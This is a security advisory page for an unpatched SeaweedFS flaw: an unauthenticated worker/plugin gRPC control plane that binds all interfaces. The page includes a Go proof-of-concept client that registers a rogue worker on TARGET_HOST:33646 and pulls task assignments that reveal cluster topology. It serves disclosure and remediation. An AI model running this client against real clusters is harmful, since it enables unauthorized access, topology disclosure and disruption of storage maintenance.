GHSA-3QR2-QW48-CJ6Q
Unauthenticated admin worker/plugin gRPC control plane binds all interfaces ignoring -ip
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-3QR2-QW48-CJ6Q divulgada · CVSS 7.3 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The SeaweedFS admin server exposes a worker/plugin gRPC control plane (the `WorkerService.WorkerStream` and `PluginControlService.WorkerStream` RPCs) that requires no authentication and binds to all network interfaces. The listener defaults to the admin HTTP port plus 10000 (for example 33646 when the admin HTTP port is the default 23646). Unlike the master, filer, and volume gRPC listeners, this listener hardcodes a wildcard `:port` bind and never applies the operator's `-ip` setting, so it stays reachable on `0.0.0.0` even when the operator binds the rest of the cluster to loopback. Any network peer that can reach the port can register a rogue maintenance worker with an insecure (plaintext) gRPC dial and then pull real maintenance task assignments, disclosing internal cluster topology and interfering with the maintenance subsystem.
Root Cause
The worker gRPC listener violates the authentication and bind-address invariants that the rest of the admin server enforces. Two defects combine:
- No authentication is performed on the control plane. The shared gRPC server constructor installs only a request-id unary interceptor and no stream interceptor, and `WorkerStream` is a bidirectional streaming RPC, so no per-call authentication runs. The stream handlers accept a registration message and reply with success after checking only that a worker id string is non-empty. Transport-level mTLS via the `grpc.admin` certificate configuration is the only effective control and is disabled by default.
- The listener ignores the operator's bind address. The master, filer, and volume gRPC listeners construct their listeners through the shared helper that honors the configured bind IP, but the worker gRPC listener calls `net.Listen("tcp", ":<port>")` directly. The `-ip` flag (default `127.0.0.1`) is consumed only by the admin HTTP server. The loopback default and the non-loopback bind guardrail added for the admin HTTP API do not cover this listener and cannot restrict it.
weed/admin/dash/worker_grpc_server.go:95 net.Listen("tcp", fmt.Sprintf(":%d", port)) (wildcard bind, ignores -ip)
weed/admin/dash/worker_grpc_server.go:184 (*WorkerGrpcServer).WorkerStream (accepts unauthenticated registration, replies Success:true)
weed/admin/plugin/plugin.go:269 (*Plugin).WorkerStream (PluginControlService stream on the same listener, unauthenticated Hello)
weed/pb/grpc_client_server.go:200 NewGrpcServer installs only a request-id unary interceptor; no stream/auth interceptor
weed/command/mini.go:956 combined-server path uses the same wildcard :port bindImpact
An unauthenticated attacker with network reachability to the worker gRPC port obtains the maintenance control plane of the cluster. The registration primitive is unconditional: the maintenance manager is always initialized and is enabled by default, so a rogue worker is accepted and can request work. Demonstrated capability:
- Internal topology disclosure. `TaskRequest` returns real `TaskAssignment` parameters, including volume ids, collection names, source and target node addresses, and master-client configuration.
- Maintenance-queue starvation. A rogue worker can claim tasks and never complete them, driving timeout churn and stalling legitimate maintenance work.
- False task completion. Sending a success completion causes the manager to mark vacuum, fix-replication, erasure-coding, or balance tasks as done without performing them, which plausibly erodes space reclamation and replication durability over time. This consequence follows directly from the accepted completion primitive; it was reasoned from the code path rather than observed on a live cluster.
The `PluginControlService` stream is exposed identically on the same listener when a plugin is loaded. The confidentiality impact is limited to internal operational metadata (no secret keys or credentials are returned through this channel), and the attacker cannot directly command volume servers through this interface.
Proof of Concept
`Requires an admin server (standalone weed admin, or weed server / weed mini) reachable on the worker gRPC port. No credentials and no TLS material are needed because grpc.admin mTLS is off by default.`
- Establish an insecure (plaintext) gRPC connection to `host:33646` (admin HTTP port plus 10000).
- Open the `WorkerService.WorkerStream` bidirectional stream and send a `WorkerRegistration` with an arbitrary worker id and a broad capability set.
- Observe the `RegistrationResponse{Success:true}` reply, confirming acceptance with no authentication.
- Send a `TaskRequest` and observe the returned `TaskAssignment` parameters (volume ids, collection, node addresses, master-client config).
package main
import (
"context"
"log"
"google.golang.org/grpc"
"google.golang.org/grpc/credentials/insecure"
worker_pb "github.com/seaweedfs/seaweedfs/weed/pb/worker_pb"
)
func main() {
conn, err := grpc.NewClient("TARGET_HOST:33646",
grpc.WithTransportCredentials(insecure.NewCredentials()))
if err != nil {
log.Fatal(err)
}
defer conn.Close()
stream, err := worker_pb.NewWorkerServiceClient(conn).WorkerStream(context.Background())
if err != nil {
log.Fatal(err)
}
// No credentials, no TLS: register a rogue worker.
_ = stream.Send(&worker_pb.WorkerMessage{
Message: &worker_pb.WorkerMessage_Registration{
Registration: &worker_pb.WorkerRegistration{
WorkerId: "rogue",
Capabilities: []string{"vacuum", "ec", "balance", "replication"},
MaxConcurrent: 100,
},
},
})
reg, err := stream.Recv() // expect RegistrationResponse{Success:true}
if err != nil {
log.Fatal(err)
}
log.Printf("registration reply: %+v", reg)
// Request a task; the reply carries real cluster topology.
_ = stream.Send(&worker_pb.WorkerMessage{
Message: &worker_pb.WorkerMessage_TaskRequest{
TaskRequest: &worker_pb.TaskRequest{WorkerId: "rogue"},
},
})
task, err := stream.Recv()
if err != nil {
log.Fatal(err)
}
log.Printf("task assignment: %+v", task)
}registration reply: RegistrationResponse{Success:true, Message:"Worker registered successfully"}
task assignment: TaskAssignment{Params: volume ids, collection, source/target node addresses, master-client config}The client was constructed to map edge-for-edge to the verified code path. Live execution against a running cluster was not performed; the chain is established by source analysis and the exact message types generated by the project's own `worker_pb` client.
Attack Chain
- Exposure: The worker gRPC listener binds `net.Listen("tcp", ":<port>")` on all interfaces (`weed/admin/dash/worker_grpc_server.go:95`; combined-server path `weed/command/mini.go:956`). The standalone admin passes a nil listener (`weed/command/admin.go:464`), taking the wildcard-bind branch. The attacker reaches `host:33646` directly.
- Control: The attacker fully controls the gRPC messages, including the registration worker id, capability list, subsequent task requests, and task-completion status and task id.
- Path: An insecure dial is accepted because `NewGrpcServer` (`weed/pb/grpc_client_server.go:200`) installs only a request-id unary interceptor, no stream interceptor runs on the bidirectional `WorkerStream`, and `security.LoadServerTLS` for `grpc.admin` returns nil by default (plaintext).
- Guard: No authentication guard exists on the listener. A search of `weed/admin/dash/worker_grpc_server.go` and `weed/admin/plugin/plugin.go` for authentication symbols returns nothing. The admin HTTP `-ip` and non-loopback bind guardrail inspects only the HTTP server address and never reaches this listener.
- Primitive: `WorkerStream` registers the peer and replies `RegistrationResponse{Success:true}` (`weed/admin/dash/worker_grpc_server.go:250`). The maintenance manager is always initialized (`weed/admin/dash/admin_server.go:286`) and enabled by default (`weed/admin/maintenance/maintenance_config_proto.go:11`), so `handleTaskRequest` calls `GetNextTask` and returns a real assignment.
- Result: An unauthenticated network attacker obtains the maintenance control plane: internal topology disclosure, queue starvation, and false task completion that degrades space reclamation and durability of a background subsystem.
Bypass Evidence
The listener has no guard to bypass; the finding rests on the absence of both authentication and bind-address restriction. Attempts to invalidate the finding and their outcomes:
- The request-id interceptor was examined as a possible authenticator. It only tags requests with an id and, being a unary interceptor, does not run on the bidirectional streaming RPC. It provides no authentication.
- The `-ip` flag was examined as a possible network restriction. It is applied only to the admin HTTP server address; the worker gRPC listener never receives it. In contrast, the master and filer gRPC listeners construct their listeners through the shared helper that honors the configured bind IP, so a cluster bound to loopback still leaves the worker gRPC control plane on all interfaces.
- The maintenance-off possibility was examined. The manager is always initialized and the default configuration enables it, so both the registration primitive (unconditional) and the task-disclosure primitive (needs a queued task, which arises in normal cluster operation) are reachable in the default configuration.
- Duplication against the previously published unauthenticated filer IAM gRPC advisory was examined. That fix added an admin-auth check only to the filer IAM gRPC and the S3 IAM handlers; it does not touch the worker or plugin gRPC handlers. This is a distinct listener, service, binary path, and remediation boundary, not a duplicate or an incomplete fix of that advisory.
The only effective control is mTLS via the `grpc.admin` certificate and key with client-certificate enforcement, which is disabled by default.
Affected Versions
- `Ecosystem: Go`
- `Package: github.com/seaweedfs/seaweedfs`
- `Confirmed affected range: <= 4.47`
- `Latest release checked: 4.47 (git tag via the Go module proxy / pkg.go.dev)`
- `Fix status: not fixed (no fix present on any branch in the examined checkout)`
The vulnerable behavior is present in the examined artifact (tag 4.47, commit ea17996) and current mainline. There is no upper or fixed boundary. The lower (introducing) boundary is not established: the examined checkout is a shallow clone whose only tag is 4.47, and the worker gRPC subsystem predates the clone boundary. The wildcard bind and missing stream authentication are longstanding; the loopback default and non-loopback guardrail that hardened the admin HTTP API arrived later and never covered this listener. Do not read the absence of a lower bound as evidence that older releases are unaffected.
Suggested Fix
Enforce authentication on the worker and plugin gRPC control plane, and honor the operator's bind address. Specifically:
- Require an authenticated credential on the worker/plugin gRPC listener consistent with the rest of the admin control plane (for example a stream interceptor that validates a signing key or bearer token, or requiring `grpc.admin` mTLS with client-certificate enforcement when the listener is exposed off loopback). Apply the check to both `WorkerService.WorkerStream` and `PluginControlService.WorkerStream`, and to the task lifecycle messages (registration, task request, and task update/complete) so a peer cannot act on tasks it does not own.
- Bind the worker gRPC listener through the same helper that the master, filer, and volume listeners use so it honors the configured `-ip`, and extend the admin non-loopback bind guardrail to refuse an unauthenticated worker gRPC listener on a non-loopback address.
Interim mitigation without a code change: enable `grpc.admin` mTLS with client-certificate enforcement, and firewall the worker gRPC port (admin HTTP port plus 10000, default 33646) so it is reachable only by legitimate workers. Binding the admin HTTP API to loopback does not restrict this listener.
Reported by zx (GitHub: @manus-pi).
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/seaweedfs/seaweedfs |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-3qr2-qw48-cj6qLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
